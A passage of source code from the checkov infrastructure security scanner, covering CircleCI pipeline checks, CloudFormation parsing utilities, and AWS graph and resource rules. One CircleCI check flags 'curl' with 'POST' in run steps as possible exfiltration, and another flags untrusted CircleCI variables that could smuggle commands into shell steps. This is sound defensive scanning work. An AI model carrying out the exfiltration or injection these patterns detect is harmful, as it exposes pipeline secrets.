DontAllowShellInjection(BaseCircleCIPipelinesCheck): def __init__(self) -> None: name = "Ensure run commands are not vulnerable to shell injection" id = "CKV_CIRCLECIPIPELINES_6" super().__init__( name=name, id=id, block_type=BlockType.ARRAY, supported_entities=['jobs.*.steps[]'] ) def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]: if not isinstance(conf, dict): return CheckResult.UNKNOWN, conf if "run" not in conf: return CheckResult.PASSED, conf run = conf.get("run", "") if isinstance(run, dict): command = run.get("command", "") for term in bad_inputs: if re.search(term, command): return CheckResult.FAILED, conf else: for term in bad_inputs: if re.search(term, run): return CheckResult.FAILED, conf return CheckResult.PASSED, conf check = DontAllowShellInjection() ================================================ FILE: checkov/circleci_pipelines/checks/SuspectCurlInScript.py ================================================ from __future__ import annotations from typing import Any from checkov.circleci_pipelines.base_circleci_pipelines_check import BaseCircleCIPipelinesCheck from checkov.common.models.enums import CheckResult from checkov.yaml_doc.enums import BlockType class SuspectCurlInScript(BaseCircleCIPipelinesCheck): def __init__(self) -> None: name = "Suspicious use of curl in run task" id = "CKV_CIRCLECIPIPELINES_7" super().__init__( name=name, id=id, block_type=BlockType.ARRAY, supported_entities=('jobs.*.steps[]',) ) def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]: if not isinstance(conf, dict): return CheckResult.UNKNOWN, conf if "run" not in conf: return CheckResult.PASSED, conf run = conf.get("run", "") if isinstance(run, dict): run = run.get("command", "") if "curl" in run: badstuff = ['curl', 'POST'] lines = run.split("\n") for line in lines: if all(x in line for x in badstuff): return CheckResult.FAILED, conf return CheckResult.PASSED, conf check = SuspectCurlInScript() ================================================ FILE: checkov/circleci_pipelines/checks/__init__.py ================================================ from pathlib import Path modules = Path(__file__).parent.glob("*.py") __all__ = [f.stem for f in modules if f.is_file() and not f.stem == "__init__"] ================================================ FILE: checkov/circleci_pipelines/checks/image_version_not_hash.py ================================================ from __future__ import annotations from typing import Any from checkov.circleci_pipelines.base_circleci_pipelines_check import BaseCircleCIPipelinesCheck from checkov.common.models.enums import CheckResult from checkov.yaml_doc.enums import BlockType class ImageReferenceHashVersion(BaseCircleCIPipelinesCheck): def __init__(self) -> None: name = "Ensure the pipeline image version is referenced via hash not arbitrary tag." id = "CKV_CIRCLECIPIPELINES_2" super().__init__( name=name, id=id, block_type=BlockType.ARRAY, supported_entities=('jobs.*.docker[].{image: image, __startline__: __startline__, __endline__:__endline__}',) ) def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]: if not isinstance(conf, dict): return CheckResult.PASSED, conf image = conf.get("image", None) if not image: return CheckResult.PASSED, conf if isinstance(image, str): if "@" in image: return CheckResult.PASSED, conf if "latest" in image: return CheckResult.UNKNOWN, conf # We UNKNOWN on "latest" as we have a specific check with a more informative violation description. # See CKV_CIRCLECIPIPELINES_1 return CheckResult.FAILED, conf check = ImageReferenceHashVersion() ================================================ FILE: checkov/circleci_pipelines/checks/latest_image.py ================================================ from __future__ import annotations from typing import Any from checkov.circleci_pipelines.base_circleci_pipelines_check import BaseCircleCIPipelinesCheck from checkov.common.models.enums import CheckResult from checkov.yaml_doc.enums import BlockType class ImageReferenceLatestTag(BaseCircleCIPipelinesCheck): def __init__(self) -> None: name = "Ensure the pipeline image uses a non latest version tag" id = "CKV_CIRCLECIPIPELINES_1" super().__init__( name=name, id=id, block_type=BlockType.ARRAY, supported_entities=('jobs.*.docker[].{image: image, __startline__: __startline__, __endline__:__endline__}',) ) def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]: if not isinstance(conf, dict): return CheckResult.PASSED, conf image = conf.get("image", None) if not image: return CheckResult.PASSED, conf if isinstance(image, str): if image.endswith(":latest"): return CheckResult.FAILED, conf return CheckResult.PASSED, conf check = ImageReferenceLatestTag() ================================================ FILE: checkov/circleci_pipelines/checks/prevent_development_orbs.py ================================================ from __future__ import annotations from typing import Any from checkov.circleci_pipelines.base_circleci_pipelines_check import BaseCircleCIPipelinesCheck from checkov.common.models.enums import CheckResult from checkov.yaml_doc.enums import BlockType class PreventDevelopmentOrbs(BaseCircleCIPipelinesCheck): def __init__(self) -> None: name = "Ensure mutable development orbs are not used." id = "CKV_CIRCLECIPIPELINES_3" super().__init__( name=name, id=id, block_type=BlockType.ARRAY, supported_entities=("orbs.{orbs: @}",) ) def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]: for orb in conf.values(): if isinstance(orb, str): # Special __ vars show up in this dict too. if "@dev" in orb: # We only get one return per orb: section, regardless of how many orbs, so set a flag and error later. # Potentially more JMEpath reflection-foo can resolve this so we end up with a call to scan_entity_conf per orb. return CheckResult.FAILED, conf return CheckResult.PASSED, conf check = PreventDevelopmentOrbs() ================================================ FILE: checkov/circleci_pipelines/checks/prevent_volatile_orbs.py ================================================ from __future__ import annotations from typing import Any from checkov.circleci_pipelines.base_circleci_pipelines_check import BaseCircleCIPipelinesCheck from checkov.common.models.enums import CheckResult from checkov.yaml_doc.enums import BlockType class PreventVolatileOrbs(BaseCircleCIPipelinesCheck): def __init__(self) -> None: name = "Ensure unversioned volatile orbs are not used." id = "CKV_CIRCLECIPIPELINES_4" super().__init__( name=name, id=id, block_type=BlockType.ARRAY, supported_entities=("orbs.{orbs: @}",) ) def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]: for orb in conf.values(): if isinstance(orb, str): # Special __ vars show up in this dict too. if "@volitile" in orb: # We only get one return per orb: section, regardless of how many orbs. # Potentially more JMEpath reflection-foo can resolve this so we end up with a call to scan_entity_conf per orb. return CheckResult.FAILED, conf return CheckResult.PASSED, conf check = PreventVolatileOrbs() ================================================ FILE: checkov/circleci_pipelines/common/__init__.py ================================================ ================================================ FILE: checkov/circleci_pipelines/common/shell_injection_list.py ================================================ # flake8: noqa terms = [ r"\$*CIRCLE_PR_REPONAME*", r"\$*CIRCLE_PR_USERNAME*", r"\$*CIRCLE_PULL_REQUESTS*", r"\$*CIRCLE_TAG*", r"\$*CIRCLE_BRANCH*" ] ================================================ FILE: checkov/circleci_pipelines/registry.py ================================================ from checkov.common.bridgecrew.check_type import CheckType from checkov.yaml_doc.base_registry import Registry registry = Registry(report_type=CheckType.CIRCLECI_PIPELINES) ================================================ FILE: checkov/circleci_pipelines/runner.py ================================================ from __future__ import annotations import logging import os from typing import TYPE_CHECKING, Any, Iterable from checkov.circleci_pipelines.registry import registry from checkov.common.output.report import CheckType, Report from checkov.runner_filter import RunnerFilter from checkov.yaml_doc.runner import Runner as YamlRunner if TYPE_CHECKING: from checkov.common.checks.base_check_registry import BaseCheckRegistry WORKFLOW_DIRECTORY = "circleci" class Runner(YamlRunner): check_type = CheckType.CIRCLECI_PIPELINES # noqa: CCE003 # a static attribute def require_external_checks(self) -> bool: return False def import_registry(self) -> BaseCheckRegistry: return registry def included_paths(self) -> list[str]: return [".circleci"] @staticmethod def _parse_file( f: str, file_content: str | None = None ) -> tuple[dict[str, Any] | list[dict[str, Any]], list[tuple[int, str]]] | None: if Runner.is_workflow_file(f): return YamlRunner._parse_file(f) return None @staticmethod def is_workflow_file(file_path: str) -> bool: """ :return: True if the file mentioned is named config.yml/yaml in .circleci dir from included_paths(). Otherwise: False """ abspath = os.path.abspath(file_path) return WORKFLOW_DIRECTORY in abspath and abspath.endswith(("config.yml", "config.yaml")) def get_resource(self, file_path: str, key: str, supported_entities: Iterable[str], start_line: int = -1, end_line: int = -1, graph_resource: bool = False) -> str: """ supported resources for circleCI: jobs.*.docker[].{image: image, __startline__: __startline__, __endline__:__endline__} jobs.*.steps[] orbs.{orbs: @} """ if len(list(supported_entities)) > 1: logging.debug("order of entities might cause extracting the wrong key for resource_id") new_key = key definition = self.definitions.get(file_path, {}) if not definition or not isinstance(definition, dict): return new_key if 'orbs.{orbs: @}' in supported_entities: new_key = "orbs" elif 'jobs.*.steps[]' in supported_entities: job_name = self.resolve_sub_name(definition, start_line, end_line, tag='jobs') step_name = self.resolve_step_name(definition['jobs'].get(job_name), start_line, end_line) new_key = f'jobs({job_name}).steps{step_name}' if job_name else "jobs" elif 'jobs.*.docker[].{image: image, __startline__: __startline__, __endline__:__endline__}' in supported_entities: job_name = self.resolve_sub_name(definition, start_line, end_line, tag='jobs') image_name = self.resolve_image_name(definition['jobs'].get(job_name), start_line, end_line) new_key = f'jobs({job_name}).docker.image{image_name}' if job_name else "jobs" elif 'executors.*.docker[].{image: image, __startline__: __startline__, __endline__:__endline__}': executor_name = self.resolve_sub_name(definition, start_line, end_line, tag='executors') image_name = self.resolve_image_name(definition['executors'].get(executor_name), start_line, end_line) new_key = f'executors({executor_name}).docker.image{image_name}' if executor_name else "executors" return new_key def run( self, root_folder: str | None = None, external_checks_dir: list[str] | None = None, files: list[str] | None = None, runner_filter: RunnerFilter | None = None, collect_skip_comments: bool = True, ) -> Report | list[Report]: runner_filter = runner_filter or RunnerFilter() report = super().run(root_folder=root_folder, external_checks_dir=external_checks_dir, files=files, runner_filter=runner_filter, collect_skip_comments=collect_skip_comments) return report ================================================ FILE: checkov/cloudformation/__init__.py ================================================ from checkov.cloudformation.checks.resource.aws import * # noqa ================================================ FILE: checkov/cloudformation/cfn_utils.py ================================================ from __future__ import annotations import logging import os from typing import Optional, List, Tuple, Dict, Any, Callable import dpath from checkov.cloudformation.checks.resource.base_registry import Registry from checkov.cloudformation.checks.resource.registry import cfn_registry from checkov.cloudformation.context_parser import ContextParser, ENDLINE, STARTLINE from checkov.cloudformation.parser import parse, TemplateSections from checkov.common.parallelizer.parallel_runner import parallel_runner from checkov.common.parsers.node import DictNode, StrNode from checkov.common.runners.base_runner import filter_ignored_paths from checkov.runner_filter import RunnerFilter from checkov.common.models.consts import YAML_COMMENT_MARK from checkov.common.util.data_structures_utils import pickle_deepcopy CF_POSSIBLE_ENDINGS = frozenset((".yml", ".yaml", ".json", ".template")) TAG_FIELD_NAMES = ("Key", "Value") def get_resource_tags(entity: dict[str, dict[str, Any]], registry: Registry = cfn_registry) -> Optional[Dict[str, str]]: entity_details = registry.extract_entity_details(entity) if not entity_details: return None entity_config = entity_details[-1] if not isinstance(entity_config, dict): return None try: properties = entity_config.get("Properties") if properties: tags = properties.get("Tags") if tags: return parse_entity_tags(tags) except Exception: logging.warning(f"Failed to parse tags for entity {entity}") return None def parse_entity_tags(tags: Any) -> dict[str, str] | None: if isinstance(tags, list): tag_dict = { get_entity_value_as_string(tag["Key"]): get_entity_value_as_string(tag["Value"]) for tag in tags if all(field in tag for field in TAG_FIELD_NAMES) } return tag_dict elif isinstance(tags, dict): tag_dict = { get_entity_value_as_string(key): get_entity_value_as_string(value) for key, value in tags.items() if key not in (STARTLINE, ENDLINE) } return tag_dict return None def get_entity_value_as_string(value: Any) -> str: """ Handles different type of entities with possible CFN function substitutions. Returns the simplest possible string value (without performing any function calls). Examples: Key: Value # returns simple string Key: !Ref ${AWS::AccountId}-data # returns ${AWS::AccountId}-data Key: - ${account}-data - account: !Ref ${AWS::AccountId} # returns ${account}-data :param value: :return: """ if isinstance(value, dict): (function, value) = next(iter(value.items())) # If the value is a long-form function, then the first element is the template string (technically str_node) # Otherwise the dict value is the template string if isinstance(value, list): if "Join" in function: # Join looks like !Join [, [V1, V2, V3]] join_str = str(value[0]) return join_str.join([str(v) for v in value[1]]) else: return str(value[0]) else: return str(value) else: return str(value) def get_folder_definitions( root_folder: str, excluded_paths: list[str] | None, out_parsing_errors: dict[str, str] | None = None ) -> tuple[dict[str, dict[str, Any]], dict[str, list[tuple[int, str]]]]: out_parsing_errors = {} if out_parsing_errors is None else out_parsing_errors files_list = [] for root, d_names, f_names in os.walk(root_folder): filter_ignored_paths(root, d_names, excluded_paths) filter_ignored_paths(root, f_names, excluded_paths) for file in f_names: file_ending = os.path.splitext(file)[1] if file_ending in CF_POSSIBLE_ENDINGS: files_list.append(os.path.join(root, file)) definitions, definitions_raw = get_files_definitions(files_list, out_parsing_errors) return definitions, definitions_raw def build_definitions_context( definitions: dict[str, dict[str, Any]], definitions_raw: Dict[str, List[Tuple[int, str]]] ) -> Dict[str, Dict[str, Any]]: definitions_context: Dict[str, Dict[str, Any]] = {} # iterate on the files for file_path, file_path_definitions in definitions.items(): # iterate on the definitions (Parameters, Resources, Outputs...) for file_path_definition, definition in file_path_definitions.items(): if ( isinstance(file_path_definition, StrNode) and file_path_definition.upper() in TemplateSections.__members__ and isinstance(definition, DictNode) ): # iterate on the actual objects of each definition for attribute, attr_value in definition.items(): if isinstance(attr_value, DictNode): start_line = attr_value.start_mark.line end_line = attr_value.end_mark.line # fix lines number for yaml and json files first_line_index = 0 while not str.strip(definitions_raw[file_path][first_line_index][1]): first_line_index += 1 # check if the file is a json file if str.strip(definitions_raw[file_path][first_line_index][1])[0] == "{": start_line += 1 end_line += 1 else: # add resource comments to definition lines current_line = str.strip(definitions_raw[file_path][start_line - 1][1]) while not current_line or current_line[0] == YAML_COMMENT_MARK: start_line -= 1 current_line = str.strip(definitions_raw[file_path][start_line - 1][1]) # remove next resource comments from definition lines current_line = str.strip(definitions_raw[file_path][end_line - 1][1]) while not current_line or current_line[0] == YAML_COMMENT_MARK: end_line -= 1 current_line = str.strip(definitions_raw[file_path][end_line - 1][1]) code_lines = definitions_raw[file_path][start_line - 1: end_line] dpath.new( definitions_context, [file_path, str(file_path_definition), str(attribute)], {"start_line": start_line, "end_line": end_line, "code_lines": code_lines}, ) if file_path_definition.upper() == TemplateSections.RESOURCES.value.upper(): skipped_checks = ContextParser.collect_skip_comments( entity_code_lines=code_lines, resource_config=attr_value, ) dpath.new( definitions_context, [file_path, str(file_path_definition), str(attribute), "skipped_checks"], skipped_checks, ) return definitions_context def create_definitions( root_folder: str | None, files: list[str] | None = None, runner_filter: RunnerFilter | None = None, out_parsing_errors: dict[str, str] | None = None ) -> tuple[dict[str, dict[str, Any]], dict[str, list[tuple[int, str]]]]: runner_filter = runner_filter or RunnerFilter() out_parsing_errors = {} if out_parsing_errors is None else out_parsing_errors definitions: dict[str, dict[str, Any]] = {} definitions_raw: dict[str, list[tuple[int, str]]] = {} if files: files_list = [file for file in files if os.path.splitext(file)[1] in CF_POSSIBLE_ENDINGS] definitions, definitions_raw = get_files_definitions(files_list, out_parsing_errors) if root_folder: definitions, definitions_raw = get_folder_definitions(root_folder, runner_filter.excluded_paths, out_parsing_errors) return definitions, definitions_raw def get_files_definitions( files: List[str], out_parsing_errors: Dict[str, str], filepath_fn: Callable[[str], str] | None = None ) -> tuple[dict[str, dict[str, Any]], dict[str, list[tuple[int, str]]]]: results = parallel_runner.run_function(_parse_file, files) definitions = {} definitions_raw = {} for file, parse_result, parsing_errors in results: out_parsing_errors.update(parsing_errors) path = filepath_fn(file) if filepath_fn else file try: template, template_lines = parse_result if isinstance(template, dict) and isinstance(template.get("Resources"), dict) and isinstance(template_lines, list): if validate_properties_in_resources_are_dict(template): template = enrich_resources_with_globals(template) definitions[path] = template definitions_raw[path] = template_lines else: out_parsing_errors.update({file: 'Resource Properties is not a dictionary'}) else: if parsing_errors: logging.debug(f'File {file} had the following parsing errors: {parsing_errors}') logging.debug(f"Parsed file {file} incorrectly {template}") except (TypeError, ValueError): logging.warning(f"CloudFormation skipping {file} as it is not a valid CF template") continue return definitions, definitions_raw def _parse_file( file: str ) -> tuple[str, tuple[dict[str, Any] | list[dict[str, Any]], list[tuple[int, str]]] | tuple[None, None], dict[str, str]]: parsing_errors: "dict[str, str]" = {} result = parse(file, parsing_errors) return file, result, parsing_errors def validate_properties_in_resources_are_dict(template: dict[str, Any]) -> bool: template_resources = template["Resources"] for resource_name, resource in template_resources.items(): if 'Properties' in resource and not isinstance(resource['Properties'], dict) or "." in resource_name: return False return True def enrich_resources_with_globals(original_template: dict[str, Any]) -> dict[str, Any]: """ Creates a new CloudFormation template dictionary with global properties applied to the resources. :param original_template: The parsed CloudFormation template as a dictionary. :return: A new CloudFormation template with enriched resources. """ new_template = pickle_deepcopy(original_template) # Create a deep copy of the original template try: # Check if Globals exist in the template global_props = new_template.get('Globals', {}) supported_types = ['Api', 'Function', 'HttpApi', 'SimpleTable', 'StateMachine'] # Supported AWS serverless type mappings to their corresponding Globals supported_types_and_globals = {f"AWS::Serverless::{type}": global_props.get(type, {}) for type in supported_types} # Iterate over the resources in the template copy for _resource_name, resource_details in new_template.get('Resources', {}).items(): if _resource_name == '__file__': continue resource_type = resource_details.get('Type', '') if (resource_type not in supported_types_and_globals): continue global_properties = supported_types_and_globals.get(resource_type, {}) resource_properties = resource_details.setdefault('Properties', {}) skip_properties = ['Tags'] for property in skip_properties: global_properties.pop(property, None) merged_properties = DictNode.deep_merge(resource_properties, global_properties) # Set the merged properties back into the resource details resource_details['Properties'] = merged_properties except Exception as e: logging.warning(f"Failed to create a new template with enriched resources: {e}") return original_template return new_template # Return the new template even if there were no globals to apply ================================================ FILE: checkov/cloudformation/checks/__init__.py ================================================ ================================================ FILE: checkov/cloudformation/checks/graph_checks/ACMWildcardDomainName.yaml ================================================ metadata: id: "CKV2_AWS_71" name: "Ensure AWS ACM Certificate domain name does not include wildcards" category: "NETWORKING" definition: and: - cond_type: "attribute" resource_types: - "AWS::CertificateManager::Certificate" attribute: "DomainName" operator: "not_contains" value: "*" - or: - cond_type: "attribute" resource_types: - "AWS::CertificateManager::Certificate" attribute: "SubjectAlternativeNames" operator: "not_exists" - cond_type: "attribute" resource_types: - "AWS::CertificateManager::Certificate" attribute: "SubjectAlternativeNames.*" operator: "not_contains" value: "*" ================================================ FILE: checkov/cloudformation/checks/graph_checks/AppSyncProtectedByWAF.yaml ================================================ metadata: id: "CKV2_AWS_33" name: "Ensure AppSync is protected by WAF" category: "APPLICATION_SECURITY" definition: and: - cond_type: filter attribute: resource_type value: - AWS::AppSync::GraphQLApi operator: within - cond_type: connection operator: exists resource_types: - AWS::AppSync::GraphQLApi connected_resource_types: - AWS::WAFv2::WebACLAssociation ================================================ FILE: checkov/cloudformation/checks/graph_checks/CloudfrontOriginNotHTTPSOnly.yaml ================================================ metadata: id: "CKV2_AWS_72" name: "Ensure AWS CloudFront origin protocol policy enforces HTTPS-only" category: "NETWORKING" definition: or: - cond_type: "attribute" resource_types: - "AWS::CloudFront::Distribution" attribute: "DistributionConfig.Enabled" operator: "equals" value: "false" - cond_type: "attribute" resource_types: - "AWS::CloudFront::Distribution" attribute: "DistributionConfig.Origins.*.CustomOriginConfig" operator: "not_exists" - and: - cond_type: "attribute" resource_types: - "AWS::CloudFront::Distribution" attribute: DistributionConfig.Origins[?(@.CustomOriginConfig.OriginProtocolPolicy != 'https-only')].DomainName operator: "jsonpath_not_contains" value: ".mediastore." - cond_type: "attribute" resource_types: - "AWS::CloudFront::Distribution" attribute: DistributionConfig.Origins[?(@.CustomOriginConfig.OriginProtocolPolicy != 'https-only')].DomainName operator: "jsonpath_not_contains" value: ".mediapackage." - cond_type: "attribute" resource_types: - "AWS::CloudFront::Distribution" attribute: DistributionConfig.Origins[?(@.CustomOriginConfig.OriginProtocolPolicy != 'https-only')].DomainName operator: "jsonpath_not_contains" value: ".elb." ================================================ FILE: checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml ================================================ metadata: name: "Ensure no open CORS policy" id: "CKV2_AWS_75" category: "NETWORKING" scope: provider: "aws" definition: and: - cond_type: "filter" attribute: "resource_type" value: - "AWS::Lambda::Function" operator: "within" - or: - cond_type: "connection" operator: "not_exists" resource_types: - "AWS::Lambda::Function" connected_resource_types: - "AWS::Lambda::Url" - and: - cond_type: "connection" operator: "exists" resource_types: - "AWS::Lambda::Function" connected_resource_types: - "AWS::Lambda::Url" - or: - cond_type: "attribute" resource_types: - "AWS::Lambda::Url" attribute: "Cors.AllowOrigins" operator: "not_contains" value: "*" - cond_type: "attribute" resource_types: - "AWS::Lambda::Url" attribute: "Cors.AllowMethods" operator: "not_contains" value: "*" ================================================ FILE: checkov/cloudformation/checks/graph_checks/RDSEncryptionInTransit.yaml ================================================ metadata: id: "CKV2_AWS_69" name: "Ensure AWS RDS database instance configured with encryption in transit" category: "NETWORKING" definition: and: - cond_type: filter attribute: resource_type value: - "AWS::RDS::DBInstance" operator: within - or: - cond_type: "connection" resource_types: - "AWS::RDS::DBInstance" connected_resource_types: - "AWS::RDS::DBParameterGroup" operator: "not_exists" - and: - cond_type: "connection" resource_types: - "AWS::RDS::DBInstance" connected_resource_types: - "AWS::RDS::DBParameterGroup" operator: "exists" - or: - cond_type: "attribute" resource_types: - "AWS::RDS::DBParameterGroup" attribute: "Family" operator: "not_regex_match" value: "(^postgres|.*sqlserver).*" - and: - cond_type: "attribute" resource_types: - "AWS::RDS::DBParameterGroup" attribute: "Parameters.rds.force_ssl" operator: "exists" - cond_type: "attribute" resource_types: - "AWS::RDS::DBParameterGroup" attribute: "Parameters.rds.force_ssl" operator: "equals" value: "1" - or: - cond_type: "attribute" resource_types: - "AWS::RDS::DBParameterGroup" attribute: "Family" operator: "not_regex_match" value: "^(mariadb|mysql).*" - and: - cond_type: "attribute" resource_types: - "AWS::RDS::DBParameterGroup" attribute: "Parameters.require_secure_transport" operator: "exists" - cond_type: "attribute" resource_types: - "AWS::RDS::DBParameterGroup" attribute: "Parameters.require_secure_transport" operator: "equals" value: "1" - or: - cond_type: "attribute" resource_types: - "AWS::RDS::DBParameterGroup" attribute: "Family" operator: "not_regex_match" value: ".*db2-ae.*" - and: - cond_type: "attribute" resource_types: - "AWS::RDS::DBParameterGroup" attribute: "Parameters.db2comm" operator: "exists" - cond_type: "attribute" resource_types: - "AWS::RDS::DBParameterGroup" attribute: "Parameters.db2comm" operator: "equals" value: "SSL" ================================================ FILE: checkov/cloudformation/checks/graph_checks/SageMakerIAMPolicyOverlyPermissiveToAllTraffic.yaml ================================================ metadata: id: "CKV2_AWS_68" name: "Ensure SageMaker notebook instance IAM policy is not overly permissive" category: "NETWORKING" definition: and: - cond_type: filter value: - AWS::SageMaker::NotebookInstance operator: within attribute: resource_type - cond_type: connection resource_types: - AWS::SageMaker::NotebookInstance connected_resource_types: - AWS::IAM::Role operator: exists - cond_type: attribute resource_types: - AWS::IAM::Role attribute: "AssumeRolePolicyDocument.Statement[?(@.Effect == Allow)].Action[*]" operator: "jsonpath_not_equals" value: "*" ================================================ FILE: checkov/cloudformation/checks/graph_checks/__init__.py ================================================ ================================================ FILE: checkov/cloudformation/checks/resource/BaseCloudsplainingIAMCheck.py ================================================ from __future__ import annotations import fnmatch import json import logging from abc import abstractmethod from collections import defaultdict from functools import partial from typing import Any from cloudsplaining.scan.policy_document import PolicyDocument from checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckResult, CheckCategories from checkov.cloudformation.checks.utils.iam_cloudformation_document_to_policy_converter import \ convert_cloudformation_conf_to_iam_policy class BaseCloudsplainingIAMCheck(BaseResourceCheck): # creating a PolicyDocument is computational expensive, # therefore a cache is defined at class level policy_document_cache: dict[str, dict[str, PolicyDocument]] = defaultdict(partial(defaultdict, PolicyDocument)) # noqa: CCE003 def __init__(self, name: str, id: str) -> None: super().__init__( name=name, id=id, categories=[CheckCategories.IAM], supported_resources=[ "AWS::IAM::Policy", "AWS::IAM::ManagedPolicy", "AWS::IAM::Group", "AWS::IAM::Role", "AWS::IAM::User", ] ) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: if conf.get('Properties'): props_conf = conf['Properties'] policies_key = 'Policies' # Obtain a list of 1 or more policies regardless of resource schema if policies_key in props_conf.keys(): policy_conf = props_conf[policies_key] else: policy_conf = [props_conf] # Scan all policies for policy in policy_conf: policy_doc_key = 'PolicyDocument' if not isinstance(policy, dict) or policy_doc_key not in policy.keys(): continue policy_statement = None policy_name = policy.get("PolicyName") if isinstance(policy_name, str): policy_statement = self.policy_document_cache.get(self.entity_path, {}).get(policy.get("PolicyName")) try: if not policy_statement: # When using unresolved Cfn functions, policy is an str policy_doc = policy[policy_doc_key] if not isinstance(policy_doc, dict): return CheckResult.UNKNOWN converted_policy_doc = convert_cloudformation_conf_to_iam_policy(policy_doc) statement_key = 'Statement' if statement_key in converted_policy_doc: policy_statement = PolicyDocument(converted_policy_doc) self.policy_document_cache[self.entity_path][policy.get("PolicyName")] = policy_statement self.cloudsplaining_enrich_evaluated_keys(policy_statement) violations = self.cloudsplaining_analysis(policy_statement) if violations: logging.debug(f"detailed cloudsplaining finding: {json.dumps(violations)}") return CheckResult.FAILED except Exception: # this might occur with templated iam policies where ARN is not in place or similar logging.debug(f"could not run cloudsplaining analysis on policy {conf}") return CheckResult.UNKNOWN return CheckResult.PASSED @abstractmethod def cloudsplaining_analysis(self, policy: PolicyDocument) -> list[str]: raise NotImplementedError() def cloudsplaining_enrich_evaluated_keys(self, policy: PolicyDocument) -> None: try: violating_actions = self.cloudsplaining_analysis(policy) if violating_actions: # in case we have violating actions for this policy we start looking for it through the statements for stmt_idx, statement in enumerate(policy.statements): actions = statement.statement.get('Action') # get the actions for this statement if actions: if isinstance(actions, str): for violating_action in violating_actions: if fnmatch.fnmatch(violating_action, actions): # found the violating action in our list of actions self.evaluated_keys = [f"Properties/PolicyDocument/Statement/[{stmt_idx}]/Action"] break if isinstance(actions, list): for action_idx, action in enumerate(actions): # go through the actions of this statement and try to match one violation for violating_action in violating_actions: if fnmatch.fnmatch(violating_action, action): # found the violating action in our list of actions self.evaluated_keys.append( f"Properties/PolicyDocument/Statement/[{stmt_idx}]/Action/[{action_idx}]/" ) break except Exception as e: logging.warning(f'Failed enriching cloudsplaining evaluated keys due to: {e}') ================================================ FILE: checkov/cloudformation/checks/resource/__init__.py ================================================ ================================================ FILE: checkov/cloudformation/checks/resource/aws/ALBDropHttpHeaders.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck class ALBDropHttpHeaders(BaseResourceCheck): def __init__(self): name = "Ensure that ALB drops HTTP headers" id = "CKV_AWS_131" supported_resources = ["AWS::ElasticLoadBalancingV2::LoadBalancer"] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): # ALB is default loadbalancer type if not explicitly set alb = True properties = conf.get("Properties") lb_type = properties.get("Type") if lb_type and lb_type != 'application': alb = False # If lb is alb then drop headers must be present and true self.evaluated_keys = ['Properties'] if alb: lb_attributes = properties.get('LoadBalancerAttributes', {}) if isinstance(lb_attributes, list): self.evaluated_keys = ['Properties/LoadBalancerAttributes'] for item in lb_attributes: key = item.get('Key') if key == 'routing.http.drop_invalid_header_fields.enabled': value = item.get('Value') if isinstance(value, bool): value = str(value).lower() if value == "true": return CheckResult.PASSED return CheckResult.FAILED # If lb is not alb then check is not valid return CheckResult.UNKNOWN check = ALBDropHttpHeaders() ================================================ FILE: checkov/cloudformation/checks/resource/aws/ALBListenerHTTPS.py ================================================ from __future__ import annotations from typing import Any, List from checkov.common.models.enums import CheckResult, CheckCategories from checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck from checkov.cloudformation.parser.cfn_keywords import ConditionFunctions, IntrinsicFunctions class ALBListenerHTTPS(BaseResourceCheck): def __init__(self) -> None: name = "Ensure ALB protocol is HTTPS" id = "CKV_AWS_2" supported_resources = ("AWS::ElasticLoadBalancingV2::Listener",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: """ validates ALB protocol is HTTPS https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-elasticloadbalancingv2-listener.html :param conf: aws_alb_listener configuration :return: """ properties = conf.get("Properties") if properties and isinstance(properties, dict): protocol = properties.get("Protocol") if protocol: if protocol in ("HTTPS", "TLS", "TCP", "UDP", "TCP_UDP"): return CheckResult.PASSED else: if isinstance(properties.get("DefaultActions", {}), dict): default_actions = properties.get("DefaultActions", {}).keys() if any( action in ConditionFunctions.__dict__.values() or action in IntrinsicFunctions.__dict__.values() for action in default_actions ): return CheckResult.UNKNOWN if ( "DefaultActions" in properties.keys() and properties["DefaultActions"][0].get("Type") == "redirect" and properties["DefaultActions"][0].get("RedirectConfig", {}).get("Protocol") == "HTTPS" ): return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ["Properties/Protocol", "Properties/DefaultActions"] check = ALBListenerHTTPS() ================================================ FILE: checkov/cloudformation/checks/resource/aws/ALBListenerTLS12.py ================================================ from __future__ import annotations from typing import Any, List from checkov.common.models.enums import CheckResult, CheckCategories from checkov.cloudformation.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.util.type_forcers import force_list from checkov.cloudformation.parser.cfn_keywords import ConditionFunctions, IntrinsicFunctions supported_policy_prefixes = { # ALBs support TLS v1.2 and 1.3 'HTTPS': ("ELBSecurityPolicy-FS-1-2", "ELBSecurityPolicy-TLS-1-2", "ELBSecurityPolicy-TLS13-1-2", "ELBSecurityPolicy-TLS13-1-3"), # NLBs support TLS v1.2 and 1.3 'TLS': ("ELBSecurityPolicy-TLS13-1-3-2021-06", "ELBSecurityPolicy-TLS13-1-2", "ELBSecurityPolicy-FS-1-2", "ELBSecurityPolicy-TLS-1-2") } class ALBListenerTLS12(BaseResourceCheck): def __init__(self) -> None: name = "Ensure that Load Balancer Listener is using at least TLS v1.2" id = "CKV_AWS_103" supported_resources = ('AWS::ElasticLoadBalancingV2::Listener',) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: """ validates that ElasticLoadBalancing V2 Listener is using at least TLS v1.2 